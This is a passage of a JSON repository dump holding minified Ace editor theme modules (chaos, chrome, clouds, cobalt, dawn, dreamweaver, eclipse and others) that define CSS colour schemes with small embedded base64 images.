t44SC9QCh3eShQctwbaK2ApLroGCMlZrYqvlY3qYhM0aXpFkPOuoqJ3Dm6fxXrGwVF9gCWZagjPqznfkuMKQ8DPTQRO8ZqG1hPGKEm9IgpGW4DZDgTNriTxvFiq+Lz+0cKfp4wj6OCK9JSnzNSn9LFU7UhKZZMnYwcJ8s8yRsECScK4j5UOB95HFO0CzhY4xJxuCix0lDlEUeMdS6EZBkTsUkZ4K74dugyTXS7aNgL8aqjDfkCE0ZbwkCXpaWCKhl8P7VD5jxykivSyxyZrYERbe168LYu9ZYh86IkscgVLE7tWPKmJv11CgoyJltMEbrohtVAQfO4ImltiHEroYEs7RxAarVpY8AwXMcMReFOTYWe5iiLRQxJ5Q8DtJ8LQhWOhIeFESPGsILhbNDRljNbHzNRlTFbk2S3L0NOS6V1KFJYKUbSTcIIhM0wQ/s2TM0SRMNcQmSap3jCH4yhJZKSkwyRHpYYgsFeQ4U7xoCB7VVOExhXepo9ABBsYbvGWKXPME3lyH95YioZ0gssQRWWbI+FaSMkXijZXwgiTlYdPdkNLaETxlyDVIwqeaEus0aTcYcg0RVOkpR3CSJqIddK+90JCxzsDVloyrFd5ZAr4TBKfaWa6boEA7C7s6EpYaeFPjveooY72mjIccLHJ9HUwVlDhKkmutJDJBwnp1rvulJZggKDRfbXAkvC/4l3ozQOG9a8lxjx0i7nV4jSXc7vhe3OwIxjgSHjdEhhsif9YkPGlus3iLFDnWOFhtCZbJg0UbQcIaR67JjthoCyMEZRwhiXWyxO5QxI6w5NhT4U1WsJvDO60J34fW9hwzwlKij6ZAW9ne4L0s8C6XeBMEkd/LQy1VucBRot6QMlbivaBhoBgjqGiCJNhsqVp/S2SsG6DIONCR0dXhvWbJ+MRRZJkkuEjgDXJjFQW6SSL7GXK8Z2CZg7cVsbWGoKmEpzQ5elpiy8Ryg7dMkLLUEauzeO86CuwlSOlgYLojZWeJ9xM3S1PWfEfKl5ISLQ0MEKR8YOB2QfCxJBjrKPCN4f9MkaSsqoVXJBmP7EpFZ9UQfOoOFwSzBN4MQ8LsGrymlipcJQhmy0GaQjPqCHaXRwuCZwRbqK2Fg9wlClZqYicrIgMdZfxTQ0c7TBIbrChxmuzoKG8XRaSrIhhiyNFJkrC7oIAWMEOQa5aBekPCRknCo4IKPrYkvCDI8aYmY7WFtprgekcJZ3oLIqssCSMtFbQTJKwXYy3BY5oCh2iKPCpJOE+zRdpYgi6O2KmOAgvVCYaU4ySRek1sgyFhJ403QFHiVEmJHwtybO1gs8Hr5+BETQX3War0qZngYGgtVZtoqd6vFSk/UwdZElYqyjrF4HXUeFspIi9IGKf4j92pKGAdCYMVsbcV3kRF0N+R8LUd5PCsIGWoxDtBkCI0nKofdJQxT+LtZflvuc8Q3CjwWkq8KwUpHzkK/NmSsclCL0nseQdj5FRH5CNHSgtLiW80Of5HU9Hhlsga9bnBq3fEVltKfO5IaSTmGjjc4J0otcP7QsJUSQM8pEj5/wCuUuC2DWz8AAAAAElFTkSuQmCC\\\");}.ace-ambiance .ace_indent-guide {background: url(\\\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNQUFD4z6Crq/sfAAuYAuYl+7lfAAAAAElFTkSuQmCC\\\") right repeat-y;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-chaos.js",
    "content": "define(\"ace/theme/chaos\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-chaos\",t.cssText=\".ace-chaos .ace_gutter {background: #141414;color: #595959;border-right: 1px solid #282828;}.ace-chaos .ace_gutter-cell.ace_warning {background-image: none;background: #FC0;border-left: none;padding-left: 0;color: #000;}.ace-chaos .ace_gutter-cell.ace_error {background-position: -6px center;background-image: none;background: #F10;border-left: none;padding-left: 0;color: #000;}.ace-chaos .ace_print-margin {border-left: 1px solid #555;right: 0;background: #1D1D1D;}.ace-chaos {background-color: #161616;color: #E6E1DC;}.ace-chaos .ace_cursor {border-left: 2px solid #FFFFFF;}.ace-chaos .ace_cursor.ace_overwrite {border-left: 0px;border-bottom: 1px solid #FFFFFF;}.ace-chaos .ace_marker-layer .ace_selection {background: #494836;}.ace-chaos .ace_marker-layer .ace_step {background: rgb(198, 219, 174);}.ace-chaos .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #FCE94F;}.ace-chaos .ace_marker-layer .ace_active-line {background: #333;}.ace-chaos .ace_gutter-active-line {background-color: #222;}.ace-chaos .ace_invisible {color: #404040;}.ace-chaos .ace_keyword {color:#00698F;}.ace-chaos .ace_keyword.ace_operator {color:#FF308F;}.ace-chaos .ace_constant {color:#1EDAFB;}.ace-chaos .ace_constant.ace_language {color:#FDC251;}.ace-chaos .ace_constant.ace_library {color:#8DFF0A;}.ace-chaos .ace_constant.ace_numeric {color:#58C554;}.ace-chaos .ace_invalid {color:#FFFFFF;background-color:#990000;}.ace-chaos .ace_invalid.ace_deprecated {color:#FFFFFF;background-color:#990000;}.ace-chaos .ace_support {color: #999;}.ace-chaos .ace_support.ace_function {color:#00AEEF;}.ace-chaos .ace_function {color:#00AEEF;}.ace-chaos .ace_string {color:#58C554;}.ace-chaos .ace_comment {color:#555;font-style:italic;padding-bottom: 0px;}.ace-chaos .ace_variable {color:#997744;}.ace-chaos .ace_meta.ace_tag {color:#BE53E6;}.ace-chaos .ace_entity.ace_other.ace_attribute-name {color:#FFFF89;}.ace-chaos .ace_markup.ace_underline {text-decoration: underline;}.ace-chaos .ace_fold-widget {text-align: center;}.ace-chaos .ace_fold-widget:hover {color: #777;}.ace-chaos .ace_fold-widget.ace_start,.ace-chaos .ace_fold-widget.ace_end,.ace-chaos .ace_fold-widget.ace_closed{background: none;border: none;box-shadow: none;}.ace-chaos .ace_fold-widget.ace_start:after {content: '\\u25be'}.ace-chaos .ace_fold-widget.ace_end:after {content: '\\u25b4'}.ace-chaos .ace_fold-widget.ace_closed:after {content: '\\u2023'}.ace-chaos .ace_indent-guide {border-right:1px dotted #333;margin-right:-1px;}.ace-chaos .ace_fold { background: #222; border-radius: 3px; color: #7AF; border: none; }.ace-chaos .ace_fold:hover {background: #CCC; color: #000;}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-chrome.js",
    "content": "define(\"ace/theme/chrome\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-chrome\",t.cssText='.ace-chrome .ace_gutter {background: #ebebeb;color: #333;overflow : hidden;}.ace-chrome .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-chrome {background-color: #FFFFFF;color: black;}.ace-chrome .ace_cursor {color: black;}.ace-chrome .ace_invisible {color: rgb(191, 191, 191);}.ace-chrome .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-chrome .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-chrome .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-chrome .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-chrome .ace_fold {}.ace-chrome .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-chrome .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-chrome .ace_support.ace_type,.ace-chrome .ace_support.ace_class.ace-chrome .ace_support.ace_other {color: rgb(109, 121, 222);}.ace-chrome .ace_variable.ace_parameter {font-style:italic;color:#FD971F;}.ace-chrome .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-chrome .ace_comment {color: #236e24;}.ace-chrome .ace_comment.ace_doc {color: #236e24;}.ace-chrome .ace_comment.ace_doc.ace_tag {color: #236e24;}.ace-chrome .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-chrome .ace_variable {color: rgb(49, 132, 149);}.ace-chrome .ace_xml-pe {color: rgb(104, 104, 91);}.ace-chrome .ace_entity.ace_name.ace_function {color: #0000A2;}.ace-chrome .ace_heading {color: rgb(12, 7, 255);}.ace-chrome .ace_list {color:rgb(185, 6, 144);}.ace-chrome .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-chrome .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-chrome .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-chrome .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-chrome .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-chrome .ace_gutter-active-line {background-color : #dcdcdc;}.ace-chrome .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-chrome .ace_storage,.ace-chrome .ace_keyword,.ace-chrome .ace_meta.ace_tag {color: rgb(147, 15, 128);}.ace-chrome .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-chrome .ace_string {color: #1A1AA6;}.ace-chrome .ace_entity.ace_other.ace_attribute-name {color: #994409;}.ace-chrome .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-clouds.js",
    "content": "define(\"ace/theme/clouds\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-clouds\",t.cssText='.ace-clouds .ace_gutter {background: #ebebeb;color: #333}.ace-clouds .ace_print-margin {width: 1px;background: #e8e8e8}.ace-clouds {background-color: #FFFFFF;color: #000000}.ace-clouds .ace_cursor {color: #000000}.ace-clouds .ace_marker-layer .ace_selection {background: #BDD5FC}.ace-clouds.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #FFFFFF;}.ace-clouds .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-clouds .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #BFBFBF}.ace-clouds .ace_marker-layer .ace_active-line {background: #FFFBD1}.ace-clouds .ace_gutter-active-line {background-color : #dcdcdc}.ace-clouds .ace_marker-layer .ace_selected-word {border: 1px solid #BDD5FC}.ace-clouds .ace_invisible {color: #BFBFBF}.ace-clouds .ace_keyword,.ace-clouds .ace_meta,.ace-clouds .ace_support.ace_constant.ace_property-value {color: #AF956F}.ace-clouds .ace_keyword.ace_operator {color: #484848}.ace-clouds .ace_keyword.ace_other.ace_unit {color: #96DC5F}.ace-clouds .ace_constant.ace_language {color: #39946A}.ace-clouds .ace_constant.ace_numeric {color: #46A609}.ace-clouds .ace_constant.ace_character.ace_entity {color: #BF78CC}.ace-clouds .ace_invalid {background-color: #FF002A}.ace-clouds .ace_fold {background-color: #AF956F;border-color: #000000}.ace-clouds .ace_storage,.ace-clouds .ace_support.ace_class,.ace-clouds .ace_support.ace_function,.ace-clouds .ace_support.ace_other,.ace-clouds .ace_support.ace_type {color: #C52727}.ace-clouds .ace_string {color: #5D90CD}.ace-clouds .ace_comment {color: #BCC8BA}.ace-clouds .ace_entity.ace_name.ace_tag,.ace-clouds .ace_entity.ace_other.ace_attribute-name {color: #606060}.ace-clouds .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-clouds_midnight.js",
    "content": "define(\"ace/theme/clouds_midnight\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-clouds-midnight\",t.cssText=\".ace-clouds-midnight .ace_gutter {background: #232323;color: #929292}.ace-clouds-midnight .ace_print-margin {width: 1px;background: #232323}.ace-clouds-midnight {background-color: #191919;color: #929292}.ace-clouds-midnight .ace_cursor {color: #7DA5DC}.ace-clouds-midnight .ace_marker-layer .ace_selection {background: #000000}.ace-clouds-midnight.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #191919;}.ace-clouds-midnight .ace_marker-layer .ace_step {background: rgb(102, 82, 0)}.ace-clouds-midnight .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid #BFBFBF}.ace-clouds-midnight .ace_marker-layer .ace_active-line {background: rgba(215, 215, 215, 0.031)}.ace-clouds-midnight .ace_gutter-active-line {background-color: rgba(215, 215, 215, 0.031)}.ace-clouds-midnight .ace_marker-layer .ace_selected-word {border: 1px solid #000000}.ace-clouds-midnight .ace_invisible {color: #666}.ace-clouds-midnight .ace_keyword,.ace-clouds-midnight .ace_meta,.ace-clouds-midnight .ace_support.ace_constant.ace_property-value {color: #927C5D}.ace-clouds-midnight .ace_keyword.ace_operator {color: #4B4B4B}.ace-clouds-midnight .ace_keyword.ace_other.ace_unit {color: #366F1A}.ace-clouds-midnight .ace_constant.ace_language {color: #39946A}.ace-clouds-midnight .ace_constant.ace_numeric {color: #46A609}.ace-clouds-midnight .ace_constant.ace_character.ace_entity {color: #A165AC}.ace-clouds-midnight .ace_invalid {color: #FFFFFF;background-color: #E92E2E}.ace-clouds-midnight .ace_fold {background-color: #927C5D;border-color: #929292}.ace-clouds-midnight .ace_storage,.ace-clouds-midnight .ace_support.ace_class,.ace-clouds-midnight .ace_support.ace_function,.ace-clouds-midnight .ace_support.ace_other,.ace-clouds-midnight .ace_support.ace_type {color: #E92E2E}.ace-clouds-midnight .ace_string {color: #5D90CD}.ace-clouds-midnight .ace_comment {color: #3C403B}.ace-clouds-midnight .ace_entity.ace_name.ace_tag,.ace-clouds-midnight .ace_entity.ace_other.ace_attribute-name {color: #606060}.ace-clouds-midnight .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHB3d/8PAAOIAdULw8qMAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-cobalt.js",
    "content": "define(\"ace/theme/cobalt\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-cobalt\",t.cssText=\".ace-cobalt .ace_gutter {background: #011e3a;color: rgb(128,145,160)}.ace-cobalt .ace_print-margin {width: 1px;background: #555555}.ace-cobalt {background-color: #002240;color: #FFFFFF}.ace-cobalt .ace_cursor {color: #FFFFFF}.ace-cobalt .ace_marker-layer .ace_selection {background: rgba(179, 101, 57, 0.75)}.ace-cobalt.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #002240;}.ace-cobalt .ace_marker-layer .ace_step {background: rgb(127, 111, 19)}.ace-cobalt .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.15)}.ace-cobalt .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.35)}.ace-cobalt .ace_gutter-active-line {background-color: rgba(0, 0, 0, 0.35)}.ace-cobalt .ace_marker-layer .ace_selected-word {border: 1px solid rgba(179, 101, 57, 0.75)}.ace-cobalt .ace_invisible {color: rgba(255, 255, 255, 0.15)}.ace-cobalt .ace_keyword,.ace-cobalt .ace_meta {color: #FF9D00}.ace-cobalt .ace_constant,.ace-cobalt .ace_constant.ace_character,.ace-cobalt .ace_constant.ace_character.ace_escape,.ace-cobalt .ace_constant.ace_other {color: #FF628C}.ace-cobalt .ace_invalid {color: #F8F8F8;background-color: #800F00}.ace-cobalt .ace_support {color: #80FFBB}.ace-cobalt .ace_support.ace_constant {color: #EB939A}.ace-cobalt .ace_fold {background-color: #FF9D00;border-color: #FFFFFF}.ace-cobalt .ace_support.ace_function {color: #FFB054}.ace-cobalt .ace_storage {color: #FFEE80}.ace-cobalt .ace_entity {color: #FFDD00}.ace-cobalt .ace_string {color: #3AD900}.ace-cobalt .ace_string.ace_regexp {color: #80FFC2}.ace-cobalt .ace_comment {font-style: italic;color: #0088FF}.ace-cobalt .ace_heading,.ace-cobalt .ace_markup.ace_heading {color: #C8E4FD;background-color: #001221}.ace-cobalt .ace_list,.ace-cobalt .ace_markup.ace_list {background-color: #130D26}.ace-cobalt .ace_variable {color: #CCCCCC}.ace-cobalt .ace_variable.ace_language {color: #FF80E1}.ace-cobalt .ace_meta.ace_tag {color: #9EFFFF}.ace-cobalt .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYHCLSvkPAAP3AgSDTRd4AAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-crimson_editor.js",
    "content": "define(\"ace/theme/crimson_editor\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssText='.ace-crimson-editor .ace_gutter {background: #ebebeb;color: #333;overflow : hidden;}.ace-crimson-editor .ace_gutter-layer {width: 100%;text-align: right;}.ace-crimson-editor .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-crimson-editor {background-color: #FFFFFF;color: rgb(64, 64, 64);}.ace-crimson-editor .ace_cursor {color: black;}.ace-crimson-editor .ace_invisible {color: rgb(191, 191, 191);}.ace-crimson-editor .ace_identifier {color: black;}.ace-crimson-editor .ace_keyword {color: blue;}.ace-crimson-editor .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-crimson-editor .ace_constant.ace_language {color: rgb(255, 156, 0);}.ace-crimson-editor .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-crimson-editor .ace_invalid {text-decoration: line-through;color: rgb(224, 0, 0);}.ace-crimson-editor .ace_fold {}.ace-crimson-editor .ace_support.ace_function {color: rgb(192, 0, 0);}.ace-crimson-editor .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-crimson-editor .ace_support.ace_type,.ace-crimson-editor .ace_support.ace_class {color: rgb(109, 121, 222);}.ace-crimson-editor .ace_keyword.ace_operator {color: rgb(49, 132, 149);}.ace-crimson-editor .ace_string {color: rgb(128, 0, 128);}.ace-crimson-editor .ace_comment {color: rgb(76, 136, 107);}.ace-crimson-editor .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-crimson-editor .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-crimson-editor .ace_constant.ace_numeric {color: rgb(0, 0, 64);}.ace-crimson-editor .ace_variable {color: rgb(0, 64, 128);}.ace-crimson-editor .ace_xml-pe {color: rgb(104, 104, 91);}.ace-crimson-editor .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-crimson-editor .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-crimson-editor .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-crimson-editor .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-crimson-editor .ace_marker-layer .ace_active-line {background: rgb(232, 242, 254);}.ace-crimson-editor .ace_gutter-active-line {background-color : #dcdcdc;}.ace-crimson-editor .ace_meta.ace_tag {color:rgb(28, 2, 255);}.ace-crimson-editor .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-crimson-editor .ace_string.ace_regex {color: rgb(192, 0, 192);}.ace-crimson-editor .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}',t.cssClass=\"ace-crimson-editor\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-dawn.js",
    "content": "define(\"ace/theme/dawn\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-dawn\",t.cssText=\".ace-dawn .ace_gutter {background: #ebebeb;color: #333}.ace-dawn .ace_print-margin {width: 1px;background: #e8e8e8}.ace-dawn {background-color: #F9F9F9;color: #080808}.ace-dawn .ace_cursor {color: #000000}.ace-dawn .ace_marker-layer .ace_selection {background: rgba(39, 95, 255, 0.30)}.ace-dawn.ace_multiselect .ace_selection.ace_start {box-shadow: 0 0 3px 0px #F9F9F9;}.ace-dawn .ace_marker-layer .ace_step {background: rgb(255, 255, 0)}.ace-dawn .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(75, 75, 126, 0.50)}.ace-dawn .ace_marker-layer .ace_active-line {background: rgba(36, 99, 180, 0.12)}.ace-dawn .ace_gutter-active-line {background-color : #dcdcdc}.ace-dawn .ace_marker-layer .ace_selected-word {border: 1px solid rgba(39, 95, 255, 0.30)}.ace-dawn .ace_invisible {color: rgba(75, 75, 126, 0.50)}.ace-dawn .ace_keyword,.ace-dawn .ace_meta {color: #794938}.ace-dawn .ace_constant,.ace-dawn .ace_constant.ace_character,.ace-dawn .ace_constant.ace_character.ace_escape,.ace-dawn .ace_constant.ace_other {color: #811F24}.ace-dawn .ace_invalid.ace_illegal {text-decoration: underline;font-style: italic;color: #F8F8F8;background-color: #B52A1D}.ace-dawn .ace_invalid.ace_deprecated {text-decoration: underline;font-style: italic;color: #B52A1D}.ace-dawn .ace_support {color: #691C97}.ace-dawn .ace_support.ace_constant {color: #B4371F}.ace-dawn .ace_fold {background-color: #794938;border-color: #080808}.ace-dawn .ace_list,.ace-dawn .ace_markup.ace_list,.ace-dawn .ace_support.ace_function {color: #693A17}.ace-dawn .ace_storage {font-style: italic;color: #A71D5D}.ace-dawn .ace_string {color: #0B6125}.ace-dawn .ace_string.ace_regexp {color: #CF5628}.ace-dawn .ace_comment {font-style: italic;color: #5A525F}.ace-dawn .ace_heading,.ace-dawn .ace_markup.ace_heading {color: #19356D}.ace-dawn .ace_variable {color: #234A97}.ace-dawn .ace_indent-guide {background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAEklEQVQImWNgYGBgYLh/5+x/AAizA4hxNNsZAAAAAElFTkSuQmCC) right repeat-y}\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-dreamweaver.js",
    "content": "define(\"ace/theme/dreamweaver\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!1,t.cssClass=\"ace-dreamweaver\",t.cssText='.ace-dreamweaver .ace_gutter {background: #e8e8e8;color: #333;}.ace-dreamweaver .ace_print-margin {width: 1px;background: #e8e8e8;}.ace-dreamweaver {background-color: #FFFFFF;color: black;}.ace-dreamweaver .ace_fold {background-color: #757AD8;}.ace-dreamweaver .ace_cursor {color: black;}.ace-dreamweaver .ace_invisible {color: rgb(191, 191, 191);}.ace-dreamweaver .ace_storage,.ace-dreamweaver .ace_keyword {color: blue;}.ace-dreamweaver .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-dreamweaver .ace_constant.ace_language {color: rgb(88, 92, 246);}.ace-dreamweaver .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-dreamweaver .ace_invalid {background-color: rgb(153, 0, 0);color: white;}.ace-dreamweaver .ace_support.ace_function {color: rgb(60, 76, 114);}.ace-dreamweaver .ace_support.ace_constant {color: rgb(6, 150, 14);}.ace-dreamweaver .ace_support.ace_type,.ace-dreamweaver .ace_support.ace_class {color: #009;}.ace-dreamweaver .ace_support.ace_php_tag {color: #f00;}.ace-dreamweaver .ace_keyword.ace_operator {color: rgb(104, 118, 135);}.ace-dreamweaver .ace_string {color: #00F;}.ace-dreamweaver .ace_comment {color: rgb(76, 136, 107);}.ace-dreamweaver .ace_comment.ace_doc {color: rgb(0, 102, 255);}.ace-dreamweaver .ace_comment.ace_doc.ace_tag {color: rgb(128, 159, 191);}.ace-dreamweaver .ace_constant.ace_numeric {color: rgb(0, 0, 205);}.ace-dreamweaver .ace_variable {color: #06F}.ace-dreamweaver .ace_xml-pe {color: rgb(104, 104, 91);}.ace-dreamweaver .ace_entity.ace_name.ace_function {color: #00F;}.ace-dreamweaver .ace_heading {color: rgb(12, 7, 255);}.ace-dreamweaver .ace_list {color:rgb(185, 6, 144);}.ace-dreamweaver .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-dreamweaver .ace_marker-layer .ace_step {background: rgb(252, 255, 0);}.ace-dreamweaver .ace_marker-layer .ace_stack {background: rgb(164, 229, 101);}.ace-dreamweaver .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-dreamweaver .ace_marker-layer .ace_active-line {background: rgba(0, 0, 0, 0.07);}.ace-dreamweaver .ace_gutter-active-line {background-color : #DCDCDC;}.ace-dreamweaver .ace_marker-layer .ace_selected-word {background: rgb(250, 250, 255);border: 1px solid rgb(200, 200, 250);}.ace-dreamweaver .ace_meta.ace_tag {color:#009;}.ace-dreamweaver .ace_meta.ace_tag.ace_anchor {color:#060;}.ace-dreamweaver .ace_meta.ace_tag.ace_form {color:#F90;}.ace-dreamweaver .ace_meta.ace_tag.ace_image {color:#909;}.ace-dreamweaver .ace_meta.ace_tag.ace_script {color:#900;}.ace-dreamweaver .ace_meta.ace_tag.ace_style {color:#909;}.ace-dreamweaver .ace_meta.ace_tag.ace_table {color:#099;}.ace-dreamweaver .ace_string.ace_regex {color: rgb(255, 0, 0)}.ace-dreamweaver .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}';var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-eclipse.js",
    "content": "define(\"ace/theme/eclipse\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){\"use strict\";t.isDark=!1,t.cssText='.ace-eclipse .ace_gutter {background: #ebebeb;border-right: 1px solid rgb(159, 159, 159);color: rgb(136, 136, 136);}.ace-eclipse .ace_print-margin {width: 1px;background: #ebebeb;}.ace-eclipse {background-color: #FFFFFF;color: black;}.ace-eclipse .ace_fold {background-color: rgb(60, 76, 114);}.ace-eclipse .ace_cursor {color: black;}.ace-eclipse .ace_storage,.ace-eclipse .ace_keyword,.ace-eclipse .ace_variable {color: rgb(127, 0, 85);}.ace-eclipse .ace_constant.ace_buildin {color: rgb(88, 72, 246);}.ace-eclipse .ace_constant.ace_library {color: rgb(6, 150, 14);}.ace-eclipse .ace_function {color: rgb(60, 76, 114);}.ace-eclipse .ace_string {color: rgb(42, 0, 255);}.ace-eclipse .ace_comment {color: rgb(113, 150, 130);}.ace-eclipse .ace_comment.ace_doc {color: rgb(63, 95, 191);}.ace-eclipse .ace_comment.ace_doc.ace_tag {color: rgb(127, 159, 191);}.ace-eclipse .ace_constant.ace_numeric {color: darkblue;}.ace-eclipse .ace_tag {color: rgb(25, 118, 116);}.ace-eclipse .ace_type {color: rgb(127, 0, 127);}.ace-eclipse .ace_xml-pe {color: rgb(104, 104, 91);}.ace-eclipse .ace_marker-layer .ace_selection {background: rgb(181, 213, 255);}.ace-eclipse .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgb(192, 192, 192);}.ace-eclipse .ace_meta.ace_tag {color:rgb(25, 118, 116);}.ace-eclipse .ace_invisible {color: #ddd;}.ace-eclipse .ace_entity.ace_other.ace_attribute-name {color:rgb(127, 0, 127);}.ace-eclipse .ace_marker-layer .ace_step {background: rgb(255, 255, 0);}.ace-eclipse .ace_active-line {background: rgb(232, 242, 254);}.ace-eclipse .ace_gutter-active-line {background-color : #DADADA;}.ace-eclipse .ace_marker-layer .ace_selected-word {border: 1px solid rgb(181, 213, 255);}.ace-eclipse .ace_indent-guide {background: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAACCAYAAACZgbYnAAAAE0lEQVQImWP4////f4bLly//BwAmVgd1/w11/gAAAABJRU5ErkJggg==\") right repeat-y;}',t.cssClass=\"ace-eclipse\";var r=e(\"../lib/dom\");r.importCssString(t.cssText,t.cssClass)})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/theme-github.js",
